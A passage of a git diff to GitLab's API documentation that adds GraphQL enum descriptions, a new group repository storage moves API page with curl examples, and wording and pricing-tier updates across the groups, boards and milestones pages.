----- | ---- | ----------- | -| `externalId` | String | External ID of the vulnerability scanner | -| `name` | String | Name of the vulnerability scanner | -| `reportType` | VulnerabilityReportType | Type of the vulnerability report | -| `vendor` | String | Vendor of the vulnerability scanner | +| `externalId` | String | External ID of the vulnerability scanner. | +| `name` | String | Name of the vulnerability scanner. | +| `reportType` | VulnerabilityReportType | Type of the vulnerability report. | +| `vendor` | String | Vendor of the vulnerability scanner. | ### VulnerabilitySeveritiesCount @@ -4165,8 +4511,8 @@ Represents a vulnerable dependency. Used in vulnerability location data. | Field | Type | Description | | ----- | ---- | ----------- | -| `package` | VulnerablePackage | The package associated with the vulnerable dependency | -| `version` | String | The version of the vulnerable dependency | +| `package` | VulnerablePackage | The package associated with the vulnerable dependency. | +| `version` | String | The version of the vulnerable dependency. | ### VulnerablePackage @@ -4174,7 +4520,7 @@ Represents a vulnerable package. Used in vulnerability dependency data. | Field | Type | Description | | ----- | ---- | ----------- | -| `name` | String | The name of the vulnerable package | +| `name` | String | The name of the vulnerable package. | ### VulnerableProjectsByGrade @@ -4182,9 +4528,9 @@ Represents vulnerability letter grades with associated projects. | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int! | Number of projects within this grade | -| `grade` | VulnerabilityGrade! | Grade based on the highest severity vulnerability present | -| `projects` | ProjectConnection! | Projects within this grade | +| `count` | Int! | Number of projects within this grade. | +| `grade` | VulnerabilityGrade! | Grade based on the highest severity vulnerability present. | +| `projects` | ProjectConnection! | Projects within this grade. | ## Enumeration types @@ -4306,6 +4652,15 @@ Alert status values. | `RESOLVED` | Resolved status | | `TRIGGERED` | Triggered status | +### ApiFuzzingScanMode + +All possible ways to specify the API surface for an API fuzzing scan. + +| Value | Description | +| ----- | ----------- | +| `HAR` | The API surface is specified by a HAR file. | +| `OPENAPI` | The API surface is specified by a OPENAPI file. | + ### AvailabilityEnum User availability status. @@ -4394,6 +4749,23 @@ Status of the tags cleanup of a container repository. | `UNFINISHED` | The tags cleanup has been partially executed. There are still remaining tags to delete. | | `UNSCHEDULED` | The tags cleanup is not scheduled. This is the default state. | +### ContainerRepositorySort + +Values for sorting container repositories. + +| Value | Description | +| ----- | ----------- | +| `CREATED_ASC` | Created at ascending order | +| `CREATED_DESC` | Created at descending order | +| `NAME_ASC` | Name by ascending order | +| `NAME_DESC` | Name by descending order | +| `UPDATED_ASC` | Updated at ascending order | +| `UPDATED_DESC` | Updated at descending order | +| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | + ### ContainerRepositoryStatus Status of a container repository. @@ -4536,6 +4908,26 @@ Epic ID wildcard values. | `ANY` | Any epic is assigned | | `NONE` | No epic is assigned | +### EventAction + +Event action. + +| Value | Description | +| ----- | ----------- | +| `APPROVED` | Approved action | +| `ARCHIVED` | Archived action | +| `CLOSED` | Closed action | +| `COMMENTED` | Commented action | +| `CREATED` | Created action | +| `DESTROYED` | Destroyed action | +| `EXPIRED` | Expired action | +| `JOINED` | Joined action | +| `LEFT` | Left action | +| `MERGED` | Merged action | +| `PUSHED` | Pushed action | +| `REOPENED` | Reopened action | +| `UPDATED` | Updated action | + ### GroupMemberRelation Group member relation. @@ -4722,6 +5114,15 @@ Possible identifier types for a measurement. | `PROJECTS` | Project count | | `USERS` | User count | +### MergeRequestNewState + +New state to apply to a merge request.. + +| Value | Description | +| ----- | ----------- | +| `CLOSED` | Close the merge request if it is open. | +| `OPEN` | Open the merge request if it is closed. | + ### MergeRequestSort Values for sorting merge requests. @@ -4754,15 +5155,17 @@ State of a GitLab merge request. | `all` | | | `closed` | | | `locked` | | -| `merged` | | +| `merged` | Merge Request has been merged | | `opened` | | ### MilestoneStateEnum +Current state of milestone. + | Value | Description | | ----- | ----------- | -| `active` | | -| `closed` | | +| `active` | Milestone is currently active | +| `closed` | Milestone is closed | ### MoveType @@ -4812,9 +5215,10 @@ Rotation length unit of an on-call rotation. | `GENERIC` | Packages from the Generic package manager | | `GOLANG` | Packages from the Golang package manager | | `MAVEN` | Packages from the Maven package manager | -| `NPM` | Packages from the NPM package manager | +| `NPM` | Packages from the npm package manager | | `NUGET` | Packages from the Nuget package manager | | `PYPI` | Packages from the PyPI package manager | +| `RUBYGEMS` | Packages from the Rubygems package manager | ### PipelineConfigSourceEnum @@ -4822,6 +5226,7 @@ Rotation length unit of an on-call rotation. | ----- | ----------- | | `AUTO_DEVOPS_SOURCE` | | | `BRIDGE_SOURCE` | | +| `COMPLIANCE_SOURCE` | | | `EXTERNAL_PROJECT_SOURCE` | | | `PARAMETER_SOURCE` | | | `REMOTE_SOURCE` | | @@ -4949,42 +5354,42 @@ State of a Sentry error. | Value | Description | | ----- | ----------- | -| `ASANA_SERVICE` | | -| `ASSEMBLA_SERVICE` | | -| `BAMBOO_SERVICE` | | -| `BUGZILLA_SERVICE` | | -| `BUILDKITE_SERVICE` | | -| `CAMPFIRE_SERVICE` | | -| `CONFLUENCE_SERVICE` | | -| `CUSTOM_ISSUE_TRACKER_SERVICE` | | -| `DATADOG_SERVICE` | | -| `DISCORD_SERVICE` | | -| `DRONE_CI_SERVICE` | | -| `EMAILS_ON_PUSH_SERVICE` | | -| `EWM_SERVICE` | | -| `EXTERNAL_WIKI_SERVICE` | | -| `FLOWDOCK_SERVICE` | | -| `GITHUB_SERVICE` | | -| `HANGOUTS_CHAT_SERVICE` | | -| `HIPCHAT_SERVICE` | | -| `IRKER_SERVICE` | | -| `JENKINS_SERVICE` | | -| `JIRA_SERVICE` | | -| `MATTERMOST_SERVICE` | | -| `MATTERMOST_SLASH_COMMANDS_SERVICE` | | -| `MICROSOFT_TEAMS_SERVICE` | | -| `PACKAGIST_SERVICE` | | -| `PIPELINES_EMAIL_SERVICE` | | -| `PIVOTALTRACKER_SERVICE` | | -| `PROMETHEUS_SERVICE` | | -| `PUSHOVER_SERVICE` | | -| `REDMINE_SERVICE` | | -| `SLACK_SERVICE` | | -| `SLACK_SLASH_COMMANDS_SERVICE` | | -| `TEAMCITY_SERVICE` | | -| `UNIFY_CIRCUIT_SERVICE` | | -| `WEBEX_TEAMS_SERVICE` | | -| `YOUTRACK_SERVICE` | | +| `ASANA_SERVICE` | AsanaService type | +| `ASSEMBLA_SERVICE` | AssemblaService type | +| `BAMBOO_SERVICE` | BambooService type | +| `BUGZILLA_SERVICE` | BugzillaService type | +| `BUILDKITE_SERVICE` | BuildkiteService type | +| `CAMPFIRE_SERVICE` | CampfireService type | +| `CONFLUENCE_SERVICE` | ConfluenceService type | +| `CUSTOM_ISSUE_TRACKER_SERVICE` | CustomIssueTrackerService type | +| `DATADOG_SERVICE` | DatadogService type | +| `DISCORD_SERVICE` | DiscordService type | +| `DRONE_CI_SERVICE` | DroneCiService type | +| `EMAILS_ON_PUSH_SERVICE` | EmailsOnPushService type | +| `EWM_SERVICE` | EwmService type | +| `EXTERNAL_WIKI_SERVICE` | ExternalWikiService type | +| `FLOWDOCK_SERVICE` | FlowdockService type | +| `GITHUB_SERVICE` | GithubService type | +| `HANGOUTS_CHAT_SERVICE` | HangoutsChatService type | +| `HIPCHAT_SERVICE` | HipchatService type | +| `IRKER_SERVICE` | IrkerService type | +| `JENKINS_SERVICE` | JenkinsService type | +| `JIRA_SERVICE` | JiraService type | +| `MATTERMOST_SERVICE` | MattermostService type | +| `MATTERMOST_SLASH_COMMANDS_SERVICE` | MattermostSlashCommandsService type | +| `MICROSOFT_TEAMS_SERVICE` | MicrosoftTeamsService type | +| `PACKAGIST_SERVICE` | PackagistService type | +| `PIPELINES_EMAIL_SERVICE` | PipelinesEmailService type | +| `PIVOTALTRACKER_SERVICE` | PivotaltrackerService type | +| `PROMETHEUS_SERVICE` | PrometheusService type | +| `PUSHOVER_SERVICE` | PushoverService type | +| `REDMINE_SERVICE` | RedmineService type | +| `SLACK_SERVICE` | SlackService type | +| `SLACK_SLASH_COMMANDS_SERVICE` | SlackSlashCommandsService type | +| `TEAMCITY_SERVICE` | TeamcityService type | +| `UNIFY_CIRCUIT_SERVICE` | UnifyCircuitService type | +| `WEBEX_TEAMS_SERVICE` | WebexTeamsService type | +| `YOUTRACK_SERVICE` | YoutrackService type | ### SnippetBlobActionEnum diff --git a/doc/api/graphql/removed_items.md b/doc/api/graphql/removed_items.md index f05b23495bb..2761c1a1c84 100644 --- a/doc/api/graphql/removed_items.md +++ b/doc/api/graphql/removed_items.md @@ -1,3 +1,9 @@ +--- +stage: Plan +group: Product Planning +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + # GraphQL API removed items GraphQL is a versionless API, unlike the REST API. diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index 7698fa9ba5f..e3fcaa3db37 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -12,11 +12,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w Badges support placeholders that are replaced in real time in both the link and image URL. The allowed placeholders are: +<!-- vale gitlab.Spelling = NO --> + - **%{project_path}**: replaced by the project path. - **%{project_id}**: replaced by the project ID. - **%{default_branch}**: replaced by the project default branch. - **%{commit_sha}**: replaced by the last project's commit SHA. +<!-- vale gitlab.Spelling = YES --> + Because these endpoints aren't inside a project's context, the information used to replace the placeholders comes from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders is returned. diff --git a/doc/api/group_boards.md b/doc/api/group_boards.md index 722f3a76267..16ab81af1fe 100644 --- a/doc/api/group_boards.md +++ b/doc/api/group_boards.md @@ -76,7 +76,7 @@ Example response: ] ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) see +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) see different parameters, due to the ability to have multiple group boards. Example response: @@ -192,7 +192,7 @@ Example response: } ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) see +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) see different parameters, due to the ability to have multiple group issue boards. Example response: @@ -526,7 +526,7 @@ Example response: ## Delete a group issue board list -Only for admins and group owners. Deletes the board list in question. +Only for administrators and group owners. Deletes the board list in question. ```plaintext DELETE /groups/:id/boards/:board_id/lists/:list_id diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md index f169c1829be..69b54591d0a 100644 --- a/doc/api/group_clusters.md +++ b/doc/api/group_clusters.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Group clusters API +# Group clusters API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30213) in GitLab 12.1. diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md index 57670eff1ea..79338df4f7a 100644 --- a/doc/api/group_import_export.md +++ b/doc/api/group_import_export.md @@ -19,7 +19,8 @@ Group exports include the following: - Group labels - Group badges - Group members -- Sub-groups. Each sub-group includes all data above +- Subgroups. Each subgroup includes all data above +- Group wikis **(PREMIUM SELF)** ## Schedule new export @@ -94,7 +95,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "name=i NOTE: The maximum import file size can be set by the Administrator, default is `0` (unlimited). -As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md). +As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin Area](../user/admin_area/settings/account_and_limit_settings.md). Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. ## Important notes diff --git a/doc/api/group_iterations.md b/doc/api/group_iterations.md index d96f0881088..3d72e035383 100644 --- a/doc/api/group_iterations.md +++ b/doc/api/group_iterations.md @@ -4,9 +4,10 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Group iterations API **(STARTER)** +# Group iterations API **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.5. +> - Moved to GitLab Premium in 13.9. This page describes the group iterations API. There's a separate [project iterations API](iterations.md) page. @@ -49,7 +50,8 @@ Example response: "created_at": "2020-01-27T05:07:12.573Z", "updated_at": "2020-01-27T05:07:12.573Z", "due_date": "2020-02-01", - "start_date": "2020-02-14" + "start_date": "2020-02-14", + "web_url": "http://gitlab.example.com/groups/my-group/-/iterations/13" } ] ``` diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md index 2c56b2c501d..cf542a9da0b 100644 --- a/doc/api/group_milestones.md +++ b/doc/api/group_milestones.md @@ -159,9 +159,10 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | | `milestone_id` | integer | yes | The ID of a group milestone | -## Get all burndown chart events for a single milestone **(STARTER)** +## Get all burndown chart events for a single milestone **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4737) in GitLab 12.1 +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4737) in GitLab 12.1 +> - Moved to GitLab Premium in 13.9. Get all burndown chart events for a single milestone. diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md new file mode 100644 index 00000000000..8a19a43d31f --- /dev/null +++ b/doc/api/group_repository_storage_moves.md @@ -0,0 +1,254 @@ +--- +stage: Create +group: Editor +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Group repository storage moves API **(PREMIUM SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53016) in GitLab 13.9. + +Group repositories can be moved between storages. This can be useful when +[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster), +for example, or to migrate a Group Wiki. + +As group repository storage moves are processed, they transition through different states. Values +of `state` are: + +- `initial` +- `scheduled` +- `started` +- `finished` +- `failed` +- `replicated` +- `cleanup failed` + +To ensure data integrity, groups are put in a temporary read-only state for the +duration of the move. During this time, users receive a `The repository is temporarily +read-only. Please try again later.` message if they try to push new commits. + +This API requires you to [authenticate yourself](README.md#authentication) as an administrator. + +For other type of repositories you can read: + +- [Project repository storage moves API](project_repository_storage_moves.md) +- [Snippet repository storage moves API](snippet_repository_storage_moves.md) + +## Retrieve all group repository storage moves + +```plaintext +GET /group_repository_storage_moves +``` + +By default, `GET` requests return 20 results at a time because the API results +are [paginated](README.md#pagination). + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/group_repository_storage_moves" +``` + +Example response: + +```json +[ + { + "id": 1, + "created_at": "2020-05-07T04:27:17.234Z", + "state": "scheduled", + "source_storage_name": "default", + "destination_storage_name": "storage2", + "group": { + "id": 283, + "web_url": "https://gitlab.example.com/groups/testgroup", + "name": "testgroup" + } + } +] +``` + +## Retrieve all repository storage moves for a single group + +In order to retrieve all the repository storage moves for a single group you can use the following endpoint: + +```plaintext +GET /groups/:group_id/repository_storage_moves +``` + +By default, `GET` requests return 20 results at a time because the API results +are [paginated](README.md#pagination). + +Supported attributes: + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `group_id` | integer | yes | ID of the group. | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves" +``` + +Example response: + +```json +[ + { + "id": 1, + "created_at": "2020-05-07T04:27:17.234Z", + "state": "scheduled", + "source_storage_name": "default", + "destination_storage_name": "storage2", + "group": { + "id": 283, + "web_url": "https://gitlab.example.com/groups/testgroup", + "name": "testgroup" + } + } +] +``` + +## Get a single group repository storage move + +In order to retrieve a single repository storage move throughout all the existing repository storage moves, you can use the following endpoint: + +```plaintext +GET /group_repository_storage_moves/:repository_storage_id +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `repository_storage_id` | integer | yes | ID of the group repository storage move. | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/group_repository_storage_moves/1" +``` + +Example response: + +```json +{ + "id": 1, + "created_at": "2020-05-07T04:27:17.234Z", + "state": "scheduled", + "source_storage_name": "default", + "destination_storage_name": "storage2", + "group": { + "id": 283, + "web_url": "https://gitlab.example.com/groups/testgroup", + "name": "testgroup" + } +} +``` + +## Get a single repository storage move for a group + +Given a group, you can retrieve a specific repository storage move for that group, through the following endpoint: + +```plaintext +GET /groups/:group_id/repository_storage_moves/:repository_storage_id +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `group_id` | integer | yes | ID of the group. | +| `repository_storage_id` | integer | yes | ID of the group repository storage move. | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves/1" +``` + +Example response: + +```json +{ + "id": 1, + "created_at": "2020-05-07T04:27:17.234Z", + "state": "scheduled", + "source_storage_name": "default", + "destination_storage_name": "storage2", + "group": { + "id": 283, + "web_url": "https://gitlab.example.com/groups/testgroup", + "name": "testgroup" + } +} +``` + +## Schedule a repository storage move for a group + +```plaintext +POST /groups/:group_id/repository_storage_moves +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `group_id` | integer | yes | ID of the group. | +| `destination_storage_name` | string | no | Name of the destination storage shard. In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitaly/-/issues/3209), the storage is selected automatically if not provided. | + +Example request: + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ +--data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves" +``` + +Example response: + +```json +{ + "id": 1, + "created_at": "2020-05-07T04:27:17.234Z", + "state": "scheduled", + "source_storage_name": "default", + "destination_storage_name": "storage2", + "group": { + "id": 283, + "web_url": "https://gitlab.example.com/groups/testgroup", + "name": "testgroup" + } +} +``` + +## Schedule repository storage moves for all groups on a storage shard + +Schedules repository storage moves for each group repository stored on the source storage shard. + +```plaintext +POST /group_repository_storage_moves +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `source_storage_name` | string | yes | Name of the source storage shard. | +| `destination_storage_name` | string | no | Name of the destination storage shard. The storage is selected automatically if not provided. | + +Example request: + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ +--data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves" +``` + +Example response: + +```json +{ + "message": "202 Accepted" +} +``` diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md index f8804d1eadc..6c5e2b77f93 100644 --- a/doc/api/group_wikis.md +++ b/doc/api/group_wikis.md @@ -1,6 +1,6 @@ --- stage: Create -group: Knowledge +group: Editor info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -179,9 +179,9 @@ POST /groups/:id/wikis/attachments | `file` | string | yes | The attachment to be uploaded | | `branch` | string | no | The name of the branch. Defaults to the wiki repository default branch | -To upload a file from your filesystem, use the `--form` argument. This causes +To upload a file from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. -The `file=` parameter must point to a file on your filesystem and be preceded +The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell diff --git a/doc/api/groups.md b/doc/api/groups.md index eb255f8de00..6031d780436 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -18,12 +18,12 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------ | ----------------- | -------- | ---------- | | `skip_groups` | array of integers | no | Skip the group IDs passed | -| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for admin); Attributes `owned` and `min_access_level` have precedence | +| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators); Attributes `owned` and `min_access_level` have precedence | | `search` | string | no | Return the list of authorized groups matching the search criteria | | `order_by` | string | no | Order groups by `name`, `path` or `id`. Default is `name` | | `sort` | string | no | Order groups in `asc` or `desc` order. Default is `asc` | -| `statistics` | boolean | no | Include group statistics (admins only) | -| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) | +| `statistics` | boolean | no | Include group statistics (administrators only) | +| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) | | `owned` | boolean | no | Limit to groups explicitly owned by the current user | | `min_access_level` | integer | no | Limit to groups where current user has at least this [access level](members.md#valid-access-levels) | | `top_level_only` | boolean | no | Limit to top level groups, excluding all subgroups | @@ -62,7 +62,7 @@ GET /groups ] ``` -When adding the parameter `statistics=true` and the authenticated user is an admin, additional group statistics are returned. +When adding the parameter `statistics=true` and the authenticated user is an administrator, additional group statistics are returned. ```plaintext GET /groups?statistics=true @@ -130,12 +130,12 @@ Parameters: | ------------------------ | ----------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) of the immediate parent group | | `skip_groups` | array of integers | no | Skip the group IDs passed | -| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for admin); Attributes `owned` and `min_access_level` have precedence | +| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators); Attributes `owned` and `min_access_level` have precedence | | `search` | string | no | Return the list of authorized groups matching the search criteria | | `order_by` | string | no | Order groups by `name`, `path` or `id`. Default is `name` | | `sort` | string | no | Order groups in `asc` or `desc` order. Default is `asc` | -| `statistics` | boolean | no | Include group statistics (admins only) | -| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) | +| `statistics` | boolean | no | Include group statistics (administrators only) | +| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) | | `owned` | boolean | no | Limit to groups explicitly owned by the current user | | `min_access_level` | integer | no | Limit to groups where current user has at least this [access level](members.md#valid-access-levels) | @@ -188,12 +188,12 @@ Parameters: | ------------------------ | ----------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) of the immediate parent group | | `skip_groups` | array of integers | no | Skip the group IDs passed | -| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for admin). Attributes `owned` and `min_access_level` have precedence | +| `all_available` | boolean | no | Show all the groups you have access to (defaults to `false` for authenticated users, `true` for administrators). Attributes `owned` and `min_access_level` have precedence | | `search` | string | no | Return the list of authorized groups matching the search criteria | | `order_by` | string | no | Order groups by `name`, `path`, or `id`. Default is `name` | | `sort` | string | no | Order groups in `asc` or `desc` order. Default is `asc` | -| `statistics` | boolean | no | Include group statistics (admins only) | -| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) | +| `statistics` | boolean | no | Include group statistics (administrators only) | +| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) | | `owned` | boolean | no | Limit to groups explicitly owned by the current user | | `min_access_level` | integer | no | Limit to groups where current user has at least this [access level](members.md#valid-access-levels) | @@ -284,7 +284,7 @@ Parameters: | `with_shared` | boolean | no | Include projects shared to this group. Default is `true` | | `include_subgroups` | boolean | no | Include projects in subgroups of this group. Default is `false` | | `min_access_level` | integer | no | Limit to projects where current user has at least this [access level](members.md#valid-access-levels) | -| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) | +| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) | | `with_security_reports` | boolean | no | **(ULTIMATE)** Return only projects that have security reports artifacts present in any of their builds. This means "projects with security reports enabled". Default is `false` | 1. Order by similarity: Orders the results by a similarity score calculated from the provided `search` @@ -366,7 +366,7 @@ Parameters: | `with_issues_enabled` | boolean | no | Limit by projects with issues feature enabled. Default is `false` | | `with_merge_requests_enabled` | boolean | no | Limit by projects with merge requests feature enabled. Default is `false` | | `min_access_level` | integer | no | Limit to projects where current user has at least this [access level](members.md#valid-access-levels) | -| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) | +| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only) | Example response: @@ -479,7 +479,7 @@ Example response: ## Details of a group Get all details of a group. This endpoint can be accessed without authentication -if the group is publicly accessible. In case the user that requests is admin of the group, it returns the `runners_token` for the group too. +if the group is publicly accessible. In case the user that requests is administrator of the group, it returns the `runners_token` for the group too. ```plaintext GET /groups/:id @@ -490,7 +490,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------------ | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only). | +| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only). | | `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) | NOTE: @@ -670,7 +670,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit` and `extra_shared_runners_minutes_limit` parameters: Additional response parameters: @@ -685,7 +685,7 @@ Additional response parameters: } ``` -Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) also see the `marked_for_deletion_on` attribute: ```json @@ -764,8 +764,8 @@ Parameters: | `request_access_enabled` | boolean | no | Allow users to request member access. | | `parent_id` | integer | no | The parent group ID for creating nested group. | | `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). Default to the global level default branch protection setting. | -| `shared_runners_minutes_limit` | integer | no | **(STARTER ONLY)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` | -| `extra_shared_runners_minutes_limit` | integer | no | **(STARTER ONLY)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). | +| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` | +| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). | ### Options for `default_branch_protection` @@ -838,8 +838,8 @@ PUT /groups/:id | `request_access_enabled` | boolean | no | Allow users to request member access. | | `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). | | `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from. | -| `shared_runners_minutes_limit` | integer | no | **(STARTER ONLY)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` | -| `extra_shared_runners_minutes_limit` | integer | no | **(STARTER ONLY)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). | +| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` | +| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). | | `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces | `shared_runners_setting` | string | no | See [Options for `shared_runners_setting`](#options-for-shared_runners_setting). Enable or disable shared runners for a group's subgroups and projects. | @@ -941,6 +941,19 @@ The `shared_runners_setting` attribute determines whether shared runners are ena | `disabled_with_override` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | | `disabled_and_unoverridable` | Disables shared runners for all projects and subgroups in this group, and prevents subgroups from overriding this setting. | +### Upload a group avatar + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) in GitLab 12.9. + +To upload an avatar file from your file system, use the `--form` argument. This causes +curl to post data using the header `Content-Type: multipart/form-data`. The +`file=` parameter must point to a file on your file system and be preceded by +`@`. For example: + +```shell +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22" --form "avatar=@/tmp/example.png" +``` + ## Remove group Only available to group owners and administrators. @@ -948,7 +961,7 @@ Only available to group owners and administrators. This endpoint either: - Removes group, and queues a background job to delete all projects in the group as well. -- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion happens 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). +- Since 